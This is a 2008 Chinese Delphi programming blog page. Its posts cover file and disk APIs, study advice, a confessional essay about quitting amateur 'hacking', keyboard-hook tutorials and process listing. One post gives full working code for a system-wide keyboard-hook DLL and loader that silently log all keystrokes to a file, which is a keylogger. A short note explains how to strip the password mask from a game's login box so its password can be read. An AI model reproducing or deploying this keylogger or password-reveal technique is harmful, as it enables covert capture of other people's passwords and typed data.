随笔 - 110  文章 - 28 评论 - 26 

留言簿(1)

随笔分类(103)

随笔档案(110)

文章分类(25)

文章档案(28)

新闻档案(3)

友情连接

  • 小蜜蜂
  • 马氏膏药网
  • 淋巴结肿大,淋巴结核,淋巴结炎 乳腺增生,小叶增生 颈椎病,腰椎病,腰间盘突出 马氏淋巴消炎贴,马氏增生散结贴,马氏关节肌肉贴
  • 黑客基地
  • 全球最大的黑客门户网站

最新随笔

积分与排名

  • 积分 - 143646
  • 排名 - 44

最新评论

阅读排行榜

评论排行榜

判断文件是否存在 FileExists
f := 'c:\temp\test.txt';
  if  FileExists(f) then
  begin
   //如果文件存在
  end;
end;

判断文件夹是否存在 DirectoryExists
dir := 'c:\windows';
  if  DirectoryExists(dir) then
  begin
   //如果文件夹存在
  end;
end;

删除文件
 f := 'c:\temp\test.txt';
 Windows.DeleteFile(PChar(f));
deletefile(f); 
删除文件夹
  dir := 'c:\temp'
;
  RemoveDirectory(PChar(dir));
  RemoveDir(dir);

获取当前文件夹 GetCurrentDir
dir := GetCurrentDir;
  ShowMessage(dir);


获取指定驱动器的当前路径名 GetDir
var
  dir: string;
  b: Byte;
begin
  b := 0;
  GetDir(b,dir);
  ShowMessage(dir); 



获取磁盘空间 DiskSize; DiskFree

var
  r: Real;
  s:
string;
begin
  r := DiskSize(3); //获取C:总空间, 单位是字节
  r := r/1024/1024/1024;
  Str(r:
0:2,s); //格式为保留两位小数的字符串
  s := 'C盘总空间是: ' + s + ' GB';
  ShowMessage(s);
//xx.xx GB

  r := DiskFree(3); //获取C:可用空间
  r := r/1024/1024/1024;
  Str(r:
0:2,s);
  s :=
'C盘可用空间是: ' + s + ' GB';
  ShowMessage(s);
//xx.xx GB
end;


str()函数:
f:= 01.1446;
str(f:0:2,s) ;//f:=0.14

f:= 01.1445;
str(f:0:3,s) ;//f:=0.145
这里是用的四舍5入










posted @ 2008-11-29 16:30 小叶子 阅读(357) | 评论 (0)编辑 收藏

想学好一种技能,你要先了解下自己,这是主要的,毅力是必须的,毅力能让你坚持下去,兴趣么,当然要有,都说这是第一任老师呢!

如果有一位好的老师那就更得心应手了

问问题是好事,但不要总是问

学delphi之前最好看一下C语言,懂得if,while,case for之类的东东.

学delphi不能只学这一方面,你要想学得好,就要把自己知识面放得广一些,windows编程要了解一些.进程,线程,消息,等   内存,CPU,硬盘工作原理也要明白.只你有对知识融会贯通才会写出更好的程序

delphi的语法,类,函数要学好,常用组件要明白怎么用,学一断时间看VCL源码,还有帮助文档,英语不行就用在线翻译查


没有自己的一本DELPHI是不行的,最好有一本关于delphi资料全一点的,你可以不用背过里的东西,但你要多写程序,查阅书本笔记来记住语法,也就是熟能生巧

学几个月后看一些有关windows的书,介绍几本给大家
DELPHI5 开发人员指南
Delphi COM深入编程
Delphi Win32核心API
Delphi 技术手册
Delphi 下深入Windows 核心编程
Delphi 源代码分析
posted @ 2008-11-15 02:34 小叶子 阅读(1048) | 评论 (1)编辑 收藏

从今天开始我 在也不玩那些 所以为的“黑客”了
我不是 “骇客” 我也不是真正的黑客 只是一个伪黑客
当你花了N年的时间浪费在你的黑客梦想上时
但到头却是一场空 你会发现资金缺乏 离开计算机一无用处
你学会的这些只能干坏事 这不是什么黑客
同样你也可以用你所学的“黑客技巧” 来开始你黑色产业的导火线
你放弃 兄弟 放弃了 女朋友 放弃了适当的娱乐 放弃了你正常的工作或者是学校生涯
整天在计算机前 可能你会几天不梳洗 陪着你的只有 香烟 酒精 和你的计算机
同样你的房间也会像狗窝 因为你根本没空管那些
整天就在那研究不同的 木马 病毒 入侵可以让你得到满足感
制造木马 可以给你成就感
你的QQ上不是“黑客菜鸟”就是 程序员 或者“脚本小子”
以前我总是什么时候睡觉 都不知道 因为我自己也不知道自己在干什么
日夜掉到 基本上没人能见到我人 可能你不相信 我在家 我爸妈 一个多月没见到我人
因为黑夜我在那里研究着 白天在睡觉 爸妈在上班
当你觉得没钱吃饭时候 你就会帮那些小菜鸟 破解这 教他们简单的黑客技巧
帮忙做木马免杀 只要生活能坚持下去 你根本不去管钱从那来 也不想去赚什么钱
你只关心你的 黑客技术 总想着成为网络中某某某黑客一样 在你心中的偶像
你也根本不管找不找女朋友 因为你已经对女人没有兴趣了
其实曾经我作为这样的人 觉得自己很可悲 因为我什么都没有
有的只是 自以为很高深的 “黑客技巧” 在别人眼里你只是一个愚蠢的家伙
别人根本不拿你当回事 反过来 你去看看 别人干的事情 你就会觉得 自己相差很远
他们会的你没一样懂 简单的你也不会 因为通常我这样的人 都有自闭症
不喜欢和别人沟通 连去面试找工作 要跟别人说话 你都觉得很傻
简单的说几个例子 我根本不会开车 四个轮子的不会 两个轮子的只会脚踏车
还不愿意骑 怕丢人 你连共共汽车 坐到那下都不知道不会 还不敢问
因为你怕傻 怕别人笑 这都是因为你和真实世界隔离造成的
你懂的只是一大堆别人看来鸟语的 计算机术语 计算机语言
什么 C/C++    pascal/Object Pascal asm   asp/asp.net php jsp 等等
整天在和些听不懂你说什么的人 说着 WINDOWS系统 LINUX系统 攻防技巧
这样你心里是满足了 你得到了什么 金钱 女人?还是地位 有的也只是别人根本不防在眼里的
网络地位
最后你就会放弃你黑客梦想 做起了农民 农民都做不好 你也就成了四不像
就像我这样 不知道自己能干什么了 自己想干什么了 整天在家 想不明白
玩了几年“黑客” 你不知道在干什么 最终你成为一个废人 没有女人爱你疼你
没钱吃饭 没事情干 没有自己有意义的事情要完成
然后你就变本加厉最起来骇客 本来你只是黑客技术的爱好者 崇尚者
最后就走上了犯罪道路 因为你没钱 你也不会别的也不想干别的
就利用你的“黑客技巧”开始触犯法律抹去暴力 等你进了牢房
你就会自己问自己黑客给了我什么 做 黑客 为了,什么 ?
你看后可以把我说的当做一堆愚蠢的话 接着走你所想的“黑客之路”我并不是想教育什么人
这也并不是你的错 只是网络把黑客两个字的意思说邪了
同样那些宣传教所谓的“黑客技术”的人 误导你了 我从没在网上理睬过这些人
也没留意过这些内容 因为那些在我看来都是小儿科 会把你教成一个骇客
一个破坏者 正因为那些吸引眼球的东西 害了不少青少年升至是一些在职员工
也跟着一起火热的追捧 学习所谓的“黑客技术”
有很多人连编程都不会就到处问破解难不难学啊
不懂汇编的人 就在那教着别人用这壳那密 等一些现成的工具做着免杀
什么打着多少时间抱你会入侵个人计算机 网站等
承诺你在多少时间学会什么什么 ~? 你自己考虑一下你的基础 这有可能吗?
你学的就是 跟着怎么做~!借着别人的编写好的现成的工具 你就认为你是一个黑客了?
个人有个人的看法有的人只是好玩玩而且那你就这样随便玩玩 别玩火就可以
说了那么多 黑客的意思到底是什么 黑客到底是正是邪
hack 、hacker 区别在那? 之定义 我不能随便发表自己的定义
hacker 是电脑黑客的意思 hack 的意思 是劈砍
我不想灌输什么思想 黑客两字的真正意思 还是你们自己理解吧
故事就讲到这里

                      2008.10.10   今天也是我的生日 这里自己祝自己生日快乐
虽然没有 朋友 没有老婆/女朋友的祝贺 ~!

posted @ 2008-11-13 01:56 小叶子 阅读(1094) | 评论 (4)编辑 收藏

先来写DLL

library Help;
uses
  Windows,
  Messages,
  SysUtils;
var
KeyHook: HHook;
text1:string;
function HookKey(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
const
   _KeyPressMask = $80000000; //键盘掩码常量
var
  i : byte;//键盘上的键值
  pp:string;//记录的字符放入PP
  vFilePath:string; //写入的文件路径
  f:TextFile; //写入的文件

begin
   if ((lParam and _KeyPressMask) = 0) then
   {按下键与$80000000取and值,二进值是1000....这个表达式几乎永远成
   立,因为只有($80000000and$80000000)才等于0}
   begin
   for i:=8 To 222 do
     begin
      if GetAsyncKeyState(i)=-32767 then
      begin
      case i of
      8 :   {loggedkeys := loggedkeys +'[BACKSPACE]'}pp:=copy(pp,0,length(pp)-1) ;
    //  9  : pp:=pp+' ';
   //   13 : pp:=pp+#13#10; //Enter
   //   17 : pp:=pp+' ';
   //   27 : pp:=pp+' ';
      32 :pp:=pp+' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
   //   33 : pp := pp + ' ';
   //   34 : pp := pp + ' ';
   //   35 : pp := pp + ' ';
   //   36 : pp := pp + ' ';
      37 : pp := pp + ' ';
   //  38 : pp := pp + ' ';
      39 : pp := pp + ' ';
//     40 : pp := pp + ' ';
//     44 : pp := pp + ' ';
//     45 : pp := pp + ' ';
//      46 : pp := pp + ' ';
      145 : pp := pp + ' ';
      48 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+')'
           else pp:=pp+'0';
      49 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'!'
           else pp:=pp+'1';
      50 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'@'
           else pp:=pp+'2';
      51 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'#'
           else pp:=pp+'3';
      52 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'$'
           else pp:=pp+'4';
      53 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'%'
           else pp:=pp+'5';
      54 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'^'
           else pp:=pp+'6';
      55 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'&'
           else pp:=pp+'7';
      56 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'*'
           else pp:=pp+'8';
      57 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'('
           else pp:=pp+'9';
      65..90 : // a..z , A..Z
          begin
          if ((GetKeyState(VK_CAPITAL))=1) then//大小写指示灯亮着
              if GetKeyState(VK_SHIFT)<0 then //shift已经按下
                 pp:=pp+LowerCase(Chr(i)) //a..z //所以按出的字母是小写
              else
                 pp:=pp+UpperCase(Chr(i)) //A..Z //反之大写
          else
              if GetKeyState(VK_SHIFT)<0 then
                  pp:=pp+UpperCase(Chr(i)) //A..Z
              else
                  pp:=pp+LowerCase(Chr(i)); //a..z
          end;
      96..105 : pp:=pp + inttostr(i-96); //Numpad  0..9
      106:pp:=pp+'*';
      107:pp:=pp+'&';
      109:pp:=pp+'-';
      110:pp:=pp+'.';
      111:pp:=pp+'/';
      144 : pp:=pp+'[Num Lock]';
      112..123: //F1-F12
          pp:=pp+'[F'+IntToStr(i - 111)+']';
      186 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+':'
            else pp:=pp+';';
      187 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'+'
            else pp:=pp+'=';
      188 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'<'
            else pp:=pp+',';
      189 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'_'
            else pp:=pp+'-';
      190 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'>'
            else pp:=pp+'.';
      191 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'?'
            else pp:=pp+'/';
      192 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'~'
            else pp:=pp+'`';
      219 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'{'
            else pp:=pp+'[';
      220 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'|'
            else pp:=pp+'\';
      221 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'}'
            else pp:=pp+']';
      222 : if GetKeyState(VK_SHIFT)<0 then pp:=pp+'"'
            else pp:=pp+'''';

      end;
         text1:=text1+pp;
         vFilePath:='c:\test.txt ';
         AssignFile(f,vFilePath);
         ReWrite(f);
         writeln(f, text1);
         closefile(f);

      end;
end;
end;
Result := CallNextHookEx(KeyHook, code, Wparam, lParam);
end;

procedure HookOn;
begin
  KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
end;
procedure HookOff;
begin
  UnHookWindowsHookEx(KeyHook);
end;

exports
  HookOn,HookOff; //两个导出函数
begin
end.

按ctrl+f9纺译出help.dll

第二步是就调用,我们尽量用动态调用
在新建窗体上加上两个Button,用来安装和卸载
为了少放代码,我只放实现部分,上面的uses部分是系统默认的
implementation

{$R *.dfm}
  type
   tpro=procedure;stdcall;
var
had:thandle;
sethok,unhok:tpro;
procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('help.dll');
sethok:=getprocaddress(had,'HookOn');
unhok:=getprocaddress(had,'HookOff');
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
freelibrary(had);
end;

end.
上面API函数在上一节中讲过了



下面注明一下,在help.dll中有一些没见过的API函数,我查了些资料,尽可能说明白点
         GetAsyncKeyState(i)=-32767
         copy(pp,0,length(pp)-1) 
         GetKeyState(VK_SHIFT)<0 
         GetKeyState(VK_CAPITAL))=1
         LowerCase(Chr(i)
         UpperCase(Chr(i)

一.GetAsyncKeyState():判断函数调用时指定虚拟键的状态

-32767二进制:1000 0000 0000 0001
返回值 Long,自对GetAsyncKeyState函数的上一次调用以来,如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0
GetAsyncKeyState(i)=-32767整体意思已经假设所有按按过,最低位置1,并且最高位也为1说明某键正处于按下状态,才出来这个数1000 0000 0000 0001,或者说-32767
二.copy()举例子说下吧
const
s='i love delphi';
var
ss:string;
begin
ss:=copy (s,3,4);
end;//   这时ss的值是'love'
三.GetKeyState():检查虚拟键的DOWN状态
函数原型:SHORT GetKeyState(int nVirtKey);
         GetKeyState(VK_SHIFT)<0 :shift被按下
         GetKeyState(VK_CAPITAL))=1:caps lock,大小写指示灯亮了
写个判断按下还是没有按下大小锁定键的例子:
begin
if GetKeyState(VK_CAPITAL)=1 then
showmessage('按下了')
else
 showmessage('没按下');

四.    LowerCase(Chr(i):把字母转成小写
         UpperCase(Chr(i):把字母转成大写

说这些也许是没用,只希望你了解得更深一些
posted @ 2008-11-13 00:58 小叶子 阅读(2066) | 评论 (2)编辑 收藏

接着线程级那些代码来做,上程序只有在本程序内按字母A才会发声,只为是线程级的,现在做的是系统级,只要按上钩子,无论在哪按A都会发声

分两步:
一、建立 DLL, 并在 DLL 实现钩子的设置、释放和钩子函数;
二、再建一个工程调用测试.
      先写个dll
library key_a;
uses
  SysUtils,
   Windows,
  messages,
  Classes;

{$R *.res}
var
hok:hhook;
function keyb(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
 begin
 if wparam=65 then
       messagebeep(0);//按A发声
 result:=callnexthookex(hok,ncode,wparam,lparam);
 end;
procedure sethok;stdcall;
    begin
    hok:=setwindowshookex(wh_keyboard,@keyb,hinstance,0);
    end;
procedure unhok;stdcall;
   begin
   unhookwindowshookex(hok);
   end;

exports
sethok,unhok;

begin
end.
按Ctrl+F9 编译,生成key_a.dll


调用key_a.dll文件
新建窗体,加两个button,一个用来安装,另个用来卸载
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
 procedure sethok;stdcall;external 'key_a.dll';
 procedure unhok;stdcall;external 'key_a.dll';

procedure TForm1.Button1Click(Sender: TObject);
begin
  sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
end;

end.

上面调用是静态调用,下面说动态调用
主是要用API来动态调用
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{要先要定义和 DLL 中同样参数和返回值的的过程类型 ,
万一前辈用的函数类型}
type
tfun=procedure;stdcall;
var
had:thandle;
sethok,unhok:tfun;

procedure TForm1.Button1Click(Sender: TObject);
begin
had:=loadlibrary('key_a.dll');
sethok:=getprocaddress(had,'sethok');
unhok:=getprocaddress(had,'unhok');
sethok;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhok;
FreeLibrary(had);
end;

end.

函数说明:
LoadLibrary(dll名字)载入dll并返回一个句柄
getprocaddress(上面的句柄,dll里面的函数)得到dll里面函数的入口地址
posted @ 2008-11-12 18:54 小叶子 阅读(565) | 评论 (0)编辑 收藏

譬如我们用鼠标在某个窗口上双击了一次, 或者给某个窗口输入了一个字母 A;
首先发现这些事件的不是窗口, 而是系统!

钩子分两种: 系统级的全局钩子   
                         线程级的钩子.
钩子使用到的函数有三个:
设置钩子: SetWindowsHookEx
释放钩子: UnhookWindowsHookEx
继续钩子: CallNextHookEx

下面是一个例子:(按字母A就会发出'咚,咚'的声音,测试请打开音箱)
在窗体上加上两个button组件
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
//在程序内部定义钩子函数
var
hok:hhook;
function keyb(ncode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;
 begin
 if wparam=65 then beep;//按A发声
 result:=callnexthookex(hok,ncode,wparam,lparam);
 end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 hok:=setwindowshookex(wh_keyboard,@keyb,0,getcurrentthreadid);//安装钩子
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
unhookwindowshookex(hok);//卸载钩子
end;

end.
函数讲解
setwindowshookex(
            idHook: Integer;钩子类型
            lpfn:TFNHookProc;函数指针,加@就可以
            hmod: HINST;包含钩子函数的模块(EXE、DLL)的句柄
            dwThreadId: DWORD ;关联线程,不是过进程
       )
参数四 dwThreadId : 在设置全局钩子时这个参数一般是 0, 表示关联所有线程; 本例是线程级                      的钩子, 所以是GetCurrentThreadId.
    getcurrentthreadid函数是获取当前进程一个唯一的标识符
    GetCurrentThreadId获取当前线程一个唯一的线程标识符

参数三 hmod: 是模块实例的句柄, 在 EXE 和 DLL 中都可以用 HInstance 得到当前实例的句柄; 直接用 API 也可以: GetModuleHandle(nil).
    handle,句柄,说明了变量的性质  而HInstance指的是对象的实例 

参数二   用@或addr()加函数名就可以

参数一  钩子类型, 共有 14 种选择,我了解还少,就不说了,你们可以参考别的资料


posted @ 2008-11-12 17:26 小叶子 阅读(957) | 评论 (0)编辑 收藏
在uses中加上:tlhelp32
再加个Button和memo组件
procedure TForm1.Button1Click(Sender: TObject);
var
    bl:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;  //TProcessEntry32类型就是在:tlhelp32中
begin
memo1.Lines.Clear;
ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);//取得系统快照
processStruct.dwSize:=sizeof(ProcessStruct);//得到TProcessEntry32的大小
bl:=process32first(ProcessHandle,ProcessStruct);
while integer(bl)<>0 do
    begin
 memo1.Lines.add(ProcessStruct.szExeFile);
 bl:=process32next(ProcessHandle,ProcessStruct);
    end;
end;
说明:[System Process]是一个进程,看不到的,没有优先级,它是指你系统剩余cpu占用
posted @ 2008-11-11 19:35 小叶子 阅读(205) | 评论 (0)编辑 收藏
wm_gettext 
wm_getfont
wm_gethotkey

今天看到这一部分看的人多,过几天我就再细说下这块


EM_SETSEL

就是选中一段文字。第一个参数(WParam)是开始的位置,第二个参数(LParam)是选择的长度。都是以光标的位置为准的。
procedure TForm1.Button1Click(Sender: TObject);
begin
  Edit1.SetFocus;                          //给于焦点
  SendMessage(Edit1.Handle,EM_SETSEL,0,1); //选择第一个字符
  SendMessage(Edit1.Handle,EM_SETSEL,0,-1); //全选
  SendMessage(Edit1.Handle,EM_SETSEL,1,1); //光标移到第一个字符后面
  SendMessage(Edit1.Handle,EM_SETSEL,0,0); //光标移到开始
  SendMessage(Edit1.Handle,EM_SETSEL,-1,0); //光标移到开始
end;

posted @ 2008-11-11 13:20 小叶子 阅读(228) | 评论 (0)编辑 收藏
PostMessage(hwnd, EM_SETPASSWORDCHAR,0,0);
用这个可以改变跑跑卡丁车密码框的属性,从而得到密码内容,如果直接用
sendmessage(hwnd,wm_gettest,0,0)是得不到密码的,结合使用就可以了
posted @ 2008-11-10 19:34 小叶子 阅读(232) | 评论 (0)编辑 收藏
仅列出标题
共11页: First 3 4 5 6 7 8 9 10 11 

笔记和文章,可能抄袭,只为学习,请原谅